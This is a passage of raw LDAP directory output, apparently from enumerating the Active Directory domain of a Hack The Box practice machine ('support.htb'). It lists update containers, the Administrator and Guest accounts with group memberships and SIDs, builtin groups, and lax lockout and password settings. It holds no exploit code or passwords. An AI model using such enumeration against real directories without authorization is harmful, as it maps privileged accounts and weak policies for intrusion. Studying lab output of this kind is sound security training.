cn: 5e1574f6-55df-493e-a671-aaeffca6a100
distinguishedName: CN=5e1574f6-55df-493e-a671-aaeffca6a100,CN=Operations,CN=Do
 mainUpdates,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5785
uSNChanged: 5785
showInAdvancedViewOnly: TRUE
name: 5e1574f6-55df-493e-a671-aaeffca6a100
objectGUID:: bULzAqkkBkSavKV+/Kyrww==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# d262aae8-41f7-48ed-9f35-56bbb677573d, Operations, DomainUpdates, System, supp
 ort.htb
dn: CN=d262aae8-41f7-48ed-9f35-56bbb677573d,CN=Operations,CN=DomainUpdates,CN=
 System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: d262aae8-41f7-48ed-9f35-56bbb677573d
distinguishedName: CN=d262aae8-41f7-48ed-9f35-56bbb677573d,CN=Operations,CN=Do
 mainUpdates,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5786
uSNChanged: 5786
showInAdvancedViewOnly: TRUE
name: d262aae8-41f7-48ed-9f35-56bbb677573d
objectGUID:: DLW2yqnHwkWcw94BsUay/Q==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# 82112ba0-7e4c-4a44-89d9-d46c9612bf91, Operations, DomainUpdates, System, supp
 ort.htb
dn: CN=82112ba0-7e4c-4a44-89d9-d46c9612bf91,CN=Operations,CN=DomainUpdates,CN=
 System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: 82112ba0-7e4c-4a44-89d9-d46c9612bf91
distinguishedName: CN=82112ba0-7e4c-4a44-89d9-d46c9612bf91,CN=Operations,CN=Do
 mainUpdates,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5787
uSNChanged: 5787
showInAdvancedViewOnly: TRUE
name: 82112ba0-7e4c-4a44-89d9-d46c9612bf91
objectGUID:: 6yNt5a/i3E6NhEjRhSjdBw==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# c3c927a6-cc1d-47c0-966b-be8f9b63d991, Operations, DomainUpdates, System, supp
 ort.htb
dn: CN=c3c927a6-cc1d-47c0-966b-be8f9b63d991,CN=Operations,CN=DomainUpdates,CN=
 System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: c3c927a6-cc1d-47c0-966b-be8f9b63d991
distinguishedName: CN=c3c927a6-cc1d-47c0-966b-be8f9b63d991,CN=Operations,CN=Do
 mainUpdates,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5788
uSNChanged: 5788
showInAdvancedViewOnly: TRUE
name: c3c927a6-cc1d-47c0-966b-be8f9b63d991
objectGUID:: l3t9333Wc0Ku/Z/MLULGvw==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# 54afcfb9-637a-4251-9f47-4d50e7021211, Operations, DomainUpdates, System, supp
 ort.htb
dn: CN=54afcfb9-637a-4251-9f47-4d50e7021211,CN=Operations,CN=DomainUpdates,CN=
 System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: 54afcfb9-637a-4251-9f47-4d50e7021211
distinguishedName: CN=54afcfb9-637a-4251-9f47-4d50e7021211,CN=Operations,CN=Do
 mainUpdates,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5789
uSNChanged: 5789
showInAdvancedViewOnly: TRUE
name: 54afcfb9-637a-4251-9f47-4d50e7021211
objectGUID:: T79mROZWLk21dBtKuThHKQ==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# f4728883-84dd-483c-9897-274f2ebcf11e, Operations, DomainUpdates, System, supp
 ort.htb
dn: CN=f4728883-84dd-483c-9897-274f2ebcf11e,CN=Operations,CN=DomainUpdates,CN=
 System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: f4728883-84dd-483c-9897-274f2ebcf11e
distinguishedName: CN=f4728883-84dd-483c-9897-274f2ebcf11e,CN=Operations,CN=Do
 mainUpdates,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5790
uSNChanged: 5790
showInAdvancedViewOnly: TRUE
name: f4728883-84dd-483c-9897-274f2ebcf11e
objectGUID:: w7V3Rbax5kmEfe0RdQpVog==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# ff4f9d27-7157-4cb0-80a9-5d6f2b14c8ff, Operations, DomainUpdates, System, supp
 ort.htb
dn: CN=ff4f9d27-7157-4cb0-80a9-5d6f2b14c8ff,CN=Operations,CN=DomainUpdates,CN=
 System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: ff4f9d27-7157-4cb0-80a9-5d6f2b14c8ff
distinguishedName: CN=ff4f9d27-7157-4cb0-80a9-5d6f2b14c8ff,CN=Operations,CN=Do
 mainUpdates,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5791
uSNChanged: 5791
showInAdvancedViewOnly: TRUE
name: ff4f9d27-7157-4cb0-80a9-5d6f2b14c8ff
objectGUID:: AE1Vq+ZdwUKYcn3DCxocmA==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# 83C53DA7-427E-47A4-A07A-A324598B88F7, Operations, DomainUpdates, System, supp
 ort.htb
dn: CN=83C53DA7-427E-47A4-A07A-A324598B88F7,CN=Operations,CN=DomainUpdates,CN=
 System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: 83C53DA7-427E-47A4-A07A-A324598B88F7
distinguishedName: CN=83C53DA7-427E-47A4-A07A-A324598B88F7,CN=Operations,CN=Do
 mainUpdates,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5792
uSNChanged: 5792
showInAdvancedViewOnly: TRUE
name: 83C53DA7-427E-47A4-A07A-A324598B88F7
objectGUID:: BQs4WWnzBESsrtSpwRuIKw==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# C81FC9CC-0130-4FD1-B272-634D74818133, Operations, DomainUpdates, System, supp
 ort.htb
dn: CN=C81FC9CC-0130-4FD1-B272-634D74818133,CN=Operations,CN=DomainUpdates,CN=
 System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: C81FC9CC-0130-4FD1-B272-634D74818133
distinguishedName: CN=C81FC9CC-0130-4FD1-B272-634D74818133,CN=Operations,CN=Do
 mainUpdates,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5793
uSNChanged: 5793
showInAdvancedViewOnly: TRUE
name: C81FC9CC-0130-4FD1-B272-634D74818133
objectGUID:: WBoSuOqYhEOK2Y0MEEcaog==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# E5F9E791-D96D-4FC9-93C9-D53E1DC439BA, Operations, DomainUpdates, System, supp
 ort.htb
dn: CN=E5F9E791-D96D-4FC9-93C9-D53E1DC439BA,CN=Operations,CN=DomainUpdates,CN=
 System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: E5F9E791-D96D-4FC9-93C9-D53E1DC439BA
distinguishedName: CN=E5F9E791-D96D-4FC9-93C9-D53E1DC439BA,CN=Operations,CN=Do
 mainUpdates,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5794
uSNChanged: 5794
showInAdvancedViewOnly: TRUE
name: E5F9E791-D96D-4FC9-93C9-D53E1DC439BA
objectGUID:: LFt/Qrr520OB6Qyipx7P6A==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# e6d5fd00-385d-4e65-b02d-9da3493ed850, Operations, DomainUpdates, System, supp
 ort.htb
dn: CN=e6d5fd00-385d-4e65-b02d-9da3493ed850,CN=Operations,CN=DomainUpdates,CN=
 System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: e6d5fd00-385d-4e65-b02d-9da3493ed850
distinguishedName: CN=e6d5fd00-385d-4e65-b02d-9da3493ed850,CN=Operations,CN=Do
 mainUpdates,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5795
uSNChanged: 5795
showInAdvancedViewOnly: TRUE
name: e6d5fd00-385d-4e65-b02d-9da3493ed850
objectGUID:: NrUza5bTpUm38I6eXqyAdQ==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# 3a6b3fbf-3168-4312-a10d-dd5b3393952d, Operations, DomainUpdates, System, supp
 ort.htb
dn: CN=3a6b3fbf-3168-4312-a10d-dd5b3393952d,CN=Operations,CN=DomainUpdates,CN=
 System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: 3a6b3fbf-3168-4312-a10d-dd5b3393952d
distinguishedName: CN=3a6b3fbf-3168-4312-a10d-dd5b3393952d,CN=Operations,CN=Do
 mainUpdates,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5796
uSNChanged: 5796
showInAdvancedViewOnly: TRUE
name: 3a6b3fbf-3168-4312-a10d-dd5b3393952d
objectGUID:: MN8BvsdvWEuqjuZn2rEdoA==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# 7F950403-0AB3-47F9-9730-5D7B0269F9BD, Operations, DomainUpdates, System, supp
 ort.htb
dn: CN=7F950403-0AB3-47F9-9730-5D7B0269F9BD,CN=Operations,CN=DomainUpdates,CN=
 System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: 7F950403-0AB3-47F9-9730-5D7B0269F9BD
distinguishedName: CN=7F950403-0AB3-47F9-9730-5D7B0269F9BD,CN=Operations,CN=Do
 mainUpdates,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5797
uSNChanged: 5797
showInAdvancedViewOnly: TRUE
name: 7F950403-0AB3-47F9-9730-5D7B0269F9BD
objectGUID:: eufcgpjOOUWJjR3mo0Yx3A==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# 434bb40d-dbc9-4fe7-81d4-d57229f7b080, Operations, DomainUpdates, System, supp
 ort.htb
dn: CN=434bb40d-dbc9-4fe7-81d4-d57229f7b080,CN=Operations,CN=DomainUpdates,CN=
 System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: 434bb40d-dbc9-4fe7-81d4-d57229f7b080
distinguishedName: CN=434bb40d-dbc9-4fe7-81d4-d57229f7b080,CN=Operations,CN=Do
 mainUpdates,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5798
uSNChanged: 5798
showInAdvancedViewOnly: TRUE
name: 434bb40d-dbc9-4fe7-81d4-d57229f7b080
objectGUID:: 2wduPNcNpUCi6EfuAVeLow==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# A0C238BA-9E30-4EE6-80A6-43F731E9A5CD, Operations, DomainUpdates, System, supp
 ort.htb
dn: CN=A0C238BA-9E30-4EE6-80A6-43F731E9A5CD,CN=Operations,CN=DomainUpdates,CN=
 System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: A0C238BA-9E30-4EE6-80A6-43F731E9A5CD
distinguishedName: CN=A0C238BA-9E30-4EE6-80A6-43F731E9A5CD,CN=Operations,CN=Do
 mainUpdates,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5799
uSNChanged: 5799
showInAdvancedViewOnly: TRUE
name: A0C238BA-9E30-4EE6-80A6-43F731E9A5CD
objectGUID:: btEwW2g9GE23W3qYrNx+8A==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# Windows2003Update, DomainUpdates, System, support.htb
dn: CN=Windows2003Update,CN=DomainUpdates,CN=System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: Windows2003Update
distinguishedName: CN=Windows2003Update,CN=DomainUpdates,CN=System,DC=support,
 DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5800
uSNChanged: 5800
showInAdvancedViewOnly: TRUE
name: Windows2003Update
objectGUID:: 4I0xWRsUkUuluoeYpafU5A==
revision: 9
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# ActiveDirectoryUpdate, DomainUpdates, System, support.htb
dn: CN=ActiveDirectoryUpdate,CN=DomainUpdates,CN=System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: ActiveDirectoryUpdate
distinguishedName: CN=ActiveDirectoryUpdate,CN=DomainUpdates,CN=System,DC=supp
 ort,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5801
uSNChanged: 5801
showInAdvancedViewOnly: TRUE
name: ActiveDirectoryUpdate
objectGUID:: qbmsM7bnXUm480kUUQXqow==
revision: 16
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# Password Settings Container, System, support.htb
dn: CN=Password Settings Container,CN=System,DC=support,DC=htb

# PSPs, System, support.htb
dn: CN=PSPs,CN=System,DC=support,DC=htb
objectClass: top
objectClass: container
objectClass: msImaging-PSPs
cn: PSPs
distinguishedName: CN=PSPs,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5803
uSNChanged: 5803
name: PSPs
objectGUID:: SIjln3Vb7EqUkYVv+WGu9g==
objectCategory: CN=ms-Imaging-PSPs,CN=Schema,CN=Configuration,DC=support,DC=ht
 b
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# TPM Devices, support.htb
dn: CN=TPM Devices,DC=support,DC=htb

# Administrator, Users, support.htb
dn: CN=Administrator,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Administrator
description: Built-in account for administering the computer/domain
distinguishedName: CN=Administrator,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110156.0Z
whenChanged: 20260414232844.0Z
uSNCreated: 8196
memberOf: CN=Group Policy Creator Owners,CN=Users,DC=support,DC=htb
memberOf: CN=Domain Admins,CN=Users,DC=support,DC=htb
memberOf: CN=Enterprise Admins,CN=Users,DC=support,DC=htb
memberOf: CN=Schema Admins,CN=Users,DC=support,DC=htb
memberOf: CN=Administrators,CN=Builtin,DC=support,DC=htb
uSNChanged: 90151
name: Administrator
objectGUID:: ltGa4T+PO0uTHnjAEEcLlw==
userAccountControl: 512
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 133028750237139482
lastLogoff: 0
lastLogon: 134206829449574753
logonHours:: ////////////////////////////
pwdLastSet: 133027269567293588
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEIL9AEAAA==
adminCount: 1
accountExpires: 0
logonCount: 84
sAMAccountName: Administrator
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528111947.0Z
dSCorePropagationData: 20220528111947.0Z
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101181216.0Z
lastLogonTimestamp: 134206829242386496

# Guest, Users, support.htb
dn: CN=Guest,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Guest
description: Built-in account for guest access to the computer/domain
distinguishedName: CN=Guest,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110156.0Z
whenChanged: 20260415001447.0Z
uSNCreated: 8197
memberOf: CN=Guests,CN=Builtin,DC=support,DC=htb
uSNChanged: 90206
name: Guest
objectGUID:: lHQIHI+KY06QsghOU1eULw==
userAccountControl: 66080
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
logonHours:: ////////////////////////////
pwdLastSet: 132982103352120821
primaryGroupID: 514
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEIL9QEAAA==
accountExpires: 0
logonCount: 0
sAMAccountName: Guest
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z
lastLogonTimestamp: 134206856871136973

# Builtin, support.htb
dn: CN=Builtin,DC=support,DC=htb
objectClass: top
objectClass: builtinDomain
cn: Builtin
distinguishedName: CN=Builtin,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110156.0Z
whenChanged: 20220528110156.0Z
uSNCreated: 8198
uSNChanged: 8198
showInAdvancedViewOnly: FALSE
name: Builtin
objectGUID:: fXBbmUjwKUylXcj7XQWXJg==
creationTime: 132649354252469883
forceLogoff: -9223372036854775808
lockoutDuration: -18000000000
lockOutObservationWindow: -18000000000
lockoutThreshold: 0
maxPwdAge: -37108517437440
minPwdAge: 0
minPwdLength: 0
modifiedCountAtLastProm: 0
nextRid: 1000
pwdProperties: 0
pwdHistoryLength: 0
objectSid:: AQEAAAAAAAUgAAAA
serverState: 1
uASCompat: 0
modifiedCount: 87
systemFlags: -1946157056
objectCategory: CN=Builtin-Domain,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# Administrators, Builtin, support.htb
dn: CN=Administrators,CN=Builtin,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Administrators
description: Administrators have complete and unrestricted access to the compu
 ter/domain
member: CN=Domain Admins,CN=Users,DC=support,DC=htb
member: CN=Enterprise Admins,CN=Users,DC=support,DC=htb
member: CN=Administrator,CN=Users,DC=support,DC=htb
distinguishedName: CN=Administrators,CN=Builtin,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110156.0Z
whenChanged: 20220528111947.0Z
uSNCreated: 8199
uSNChanged: 13077
name: Administrators
objectGUID:: CVqKh2kN9ku5dTvErkPceA==
objectSid:: AQIAAAAAAAUgAAAAIAIAAA==
adminCount: 1
sAMAccountName: Administrators
sAMAccountType: 536870912
systemFlags: -1946157056
groupType: -2147483643
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528111947.0Z
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000416.0Z

# Users, Builtin, support.htb
dn: CN=Users,CN=Builtin,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Users
description: Users are prevented from making accidental or intentional system-
 wide changes and can run most applications
member: CN=Domain Users,CN=Users,DC=support,DC=htb
member: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=support,DC=htb
member: CN=S-1-5-4,CN=ForeignSecurityPrincipals,DC=support,DC=htb
distinguishedName: CN=Users,CN=Builtin,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110156.0Z
whenChanged: 20220528110343.0Z
uSNCreated: 8202
uSNChanged: 12381
name: Users
objectGUID:: 2tOYDZKptEmmo1sftgyJrw==
objectSid:: AQIAAAAAAAUgAAAAIQIAAA==
sAMAccountName: Users
sAMAccountType: 536870912
systemFlags: -1946157056
groupType: -2147483643
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# S-1-5-4, ForeignSecurityPrincipals, support.htb
dn: CN=S-1-5-4,CN=ForeignSecurityPrincipals,DC=support,DC=htb
objectClass: top
objectClass: foreignSecurityPrincipal
cn: S-1-5-4
distinguishedName: CN=S-1-5-4,CN=ForeignSecurityPrincipals,DC=support,DC=htb
showInAdvancedViewOnly: TRUE
name: S-1-5-4
objectGUID:: 6nxLj3obu0W0BzNDuBvh0Q==
objectSid:: AQEAAAAAAAUEAAAA
objectCategory: CN=Foreign-Security-Principal,CN=Schema,CN=Configuration,DC=su
 pport,DC=htb

# S-1-5-11, ForeignSecurityPrincipals, support.htb
dn: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=support,DC=htb
objectClass: top
objectClass: foreignSecurityPrincipal
cn: S-1-5-11
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110156.0Z
whenChanged: 20220528110156.0Z
uSNCreated: 8204
memberOf: CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=support,DC=htb
memberOf: CN=Users,CN=Builtin,DC=support,DC=htb
uSNChanged: 8204
showInAdvancedViewOnly: TRUE
name: S-1-5-11
objectGUID:: IvYi9Ag/eEeeFq8wLSVY3A==
objectSid:: AQEAAAAAAAULAAAA
objectCategory: CN=Foreign-Security-Principal,CN=Schema,CN=Configuration,DC=su
 pport,DC=htb
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# Guests, Builtin, support.htb
dn: CN=Guests,CN=Builtin,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Guests
description: Guests have the same access as members of the Users group by defa
 ult, except for the Guest account which is further restricted
member: CN=Domain Guests,CN=Users,DC=support,DC=htb
member: CN=Guest,CN=Users,DC=support,DC=htb
distinguishedName: CN=Guests,CN=Builtin,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110156.0Z
whenChanged: 20220528110343.0Z
uSNCreated: 8208
uSNChanged: 12383
name: Guests
objectGUID:: xeMYTexIu0+tDkHF5WhJQg==
objectSid:: AQIAAAAAAAUgAAAAIgIAAA==
sAMAccountName: Guests
sAMAccountType: 536870912
systemFlags: -1946157056
groupType: -2147483643
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# Print Operators, Builtin, support.htb
dn: CN=Print Operators,CN=Builtin,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Print Operators
description: Members can administer printers installed on domain controllers
distinguishedName: CN=Print Operators,CN=Builtin,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110156.0Z
whenChanged: 20220528111947.0Z
uSNCreated: 8211
uSNChanged: 13080
name: Print Operators
objectGUID:: I1biGgwtukGISRpa+NHItg==
objectSid:: AQIAAAAAAAUgAAAAJgIAAA==
adminCount: 1
sAMAccountName: Print Operators
sAMAccountType: 536870912
systemFlags: -1946157056
groupType: -2147483643
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528111947.0Z
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000416.0Z

# Backup Operators, Builtin, support.htb
dn: CN=Backup Operators,CN=Builtin,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Backup Operators
description: Backup Operators can override security restrictions for the sole
 purpose of backing up or restoring files
distinguishedName: CN=Backup Operators,CN=Builtin,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110156.0Z
whenChanged: 20220528111947.0Z
uSNCreated: 8212
uSNChanged: 13082
name: Backup Operators
objectGUID:: R0g5CNhntkaiDn9VaHM6BQ==
objectSid:: AQIAAAAAAAUgAAAAJwIAAA==
adminCount: 1
sAMAccountName: Backup Operators
sAMAccountType: 536870912
systemFlags: -1946157056
groupType: -2147483643
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528111947.0Z
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000416.0Z

# Replicator, Builtin, support.htb
dn: CN=Replicator,CN=Builtin,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Replicator
description: Supports file replication in a domain
distinguishedName: CN=Replicator,CN=Builtin,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110156.0Z
whenChanged: 20220528111947.0Z
uSNCreated: 8213
uSNChanged: 13085
name: Replicator
objectGUID:: 3bQ/pKTRxEK2K5CozZRpKQ==
objectSid:: AQIAAAAAAAUgAAAAKAIAAA==
adminCount: 1
sAMAccountName: Replicator
sAMAccountType: 536870912
systemFlags: -1946157056
groupType: -2147483643
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528111947.0Z
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000416.0Z

# Remote Desktop Users, Builtin, support.htb
dn: CN=Remote Desktop Users,CN=Builtin,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Remote Desktop Users
description: Members in this group are granted the right to logon remotely
distinguishedName: CN=Remote Desktop Users,CN=Builtin,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110156.0Z
whenChanged: 20220528110156.0Z
uSNCreated: 8214
uSNChanged: 8214
name: Remote Desktop Users
objectGUID:: IVRQaI7qXU+DFrwcZvm7lQ==
objectSid:: AQIAAAAAAAUgAAAAKwIAAA==
sAMAccountName: Remote Desktop Users
sAMAccountType: 536870912
systemFlags: -1946157056
groupType: -2147483643
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# Network Configuration Operators, Builtin, support.htb
dn: CN=Network Configuration Operators,CN=Builtin,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Network Configuration Operators
description: Members in this group can have some administrative privileges to
 manage configuration of networking features
distinguishedName: CN=Network Configuration Operators,CN=Builtin,DC=support,DC
 =htb
instanceType: 4
whenCreated: 20220528110156.0Z
whenChanged: 20220528110156.0Z
uSNCreated: 8215
uSNChanged: 8215
name: Network Configuration Operators
objectGUID:: dmCP+GnPskGxhz8wYYSpPg==
objectSid:: AQIAAAAAAAUgAAAALAIAAA==
sAMAccountName: Network Configuration Operators
sAMAccountType: 536870912
systemFlags: -1946157056
groupType: -2147483643
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# Performance Monitor Users, Builtin, support.htb
dn: CN=Performance Monitor Users,CN=Builtin,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Performance Monitor Users
description: Members of this group can access performance counter data locally
  and remotely
distinguishedName: CN=Performance Monitor Users,CN=Builtin,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110156.0Z
whenChanged: 20220528110156.0Z
uSNCreated: 8216
uSNChanged: 8216
name: Performance Monitor Users
objectGUID:: meqGrT9ALEKozB3zoigPHQ==
objectSid:: AQIAAAAAAAUgAAAALgIAAA==
sAMAccountName: Performance Monitor Users
sAMAccountType: 536870912
systemFlags: -1946157056
groupType: -2147483643
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# Performance Log Users, Builtin, support.htb
dn: CN=Performance Log Users,CN=Builtin,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Performance Log Users
description: Members of this group may schedule logging of performance counter
 s, enable trace providers, and collect event traces both locally and via remo
 te access to this computer
distinguishedName: CN=Performance Log Users,CN=Builtin,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110156.0Z
whenChanged: 20220528110156.0Z
uSNCreated: 8217
uSNChanged: 8217
name: Performance Log Users
objectGUID:: OvukCG+48EOndvQXDiXMmg==
objectSid:: AQIAAAAAAAUgAAAALwIAAA==
sAMAccountName: Performance Log Users
sAMAccountType: 536870912
systemFlags: -1946157056
groupType: -2147483643
